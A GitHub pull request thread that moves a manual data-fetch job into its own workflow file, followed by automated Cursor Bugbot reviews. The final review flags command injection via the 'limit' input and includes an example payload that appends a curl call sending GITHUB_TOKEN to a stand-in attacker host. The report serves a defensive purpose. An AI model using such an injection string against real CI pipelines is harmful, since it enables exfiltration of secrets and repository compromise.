Data branch workflow fix

[yohplala]

Move and fix the manual data fetching workflow to a dedicated data.yml file to enable on-demand updates of the data orphan branch.

The original fetch-data job in tests.yml was designed for manual triggering but lacked the workflow_dispatch event, making it impossible to run. It also had an incorrect needs: test dependency for manual runs and an incorrect working directory. This PR resolves these issues by creating a standalone, robust workflow with proper triggers, dependencies, and path handling, allowing users to manually update cached data.

---

 

---

Note

Introduce a standalone, manually triggered data-fetch workflow and strip the heavy fetch job from the tests workflow.

• CI Workflows:
  • New data.yml (manual data fetch):
    • Adds workflow_dispatch with optional limit input.
    • Checks out main and data (or initializes orphan data branch if missing).
    • Restores existing cached data into main/data.
    • Sets up Python/Poetry with cached venv; runs list-coins, fetch-prices (supports --limit), and status.
    • Syncs generated data back to data branch, updates README with counts/timestamp, squashes to a single commit, and force-pushes.
  • Update tests.yml:
    • Removes the previous manual fetch-data job; retains only lint/test/coverage steps.

^{Written by Cursor Bugbot for commit 33d3c71. This will update automatically on new commits. Configure here.}

[cursor]

Cursor Agent can help with this pull request. Just @cursor in comments and I'll start working on changes in this branch.
_{Learn more about Cursor Agents}

[cursor]

This PR is being reviewed by Cursor Bugbot

Details

You are on the Bugbot Free tier. On this plan, Bugbot will review limited PRs each billing cycle.

To receive Bugbot reviews on all of your PRs, visit the Cursor dashboard to activate Pro and start your 14-day free trial.

[cursor]

Bug: Missing calculate-total2 step in migrated workflow

The calculate-total2 command step was present in the original workflow in tests.yml but was not included when migrating to data.yml. The workflow fetches price data and shows status, but skips the TOTAL2 index calculation that should occur between these steps. The README generated on line 154 still references "TOTAL2 index" as expected output, but this data won't be generated without the missing step.

 

[cursor]

Bug: Unvalidated workflow input enables command injection

The github.event.inputs.limit value is directly interpolated into the shell command on line 102 without validation or proper quoting. Since GitHub Actions evaluates ${{ }} expressions before the shell runs, a malicious input like 10; curl attacker.com/steal?token=$GITHUB_TOKEN would execute arbitrary commands. While workflow_dispatch requires write access to trigger, this could still allow secret exfiltration or repository compromise through a compromised account.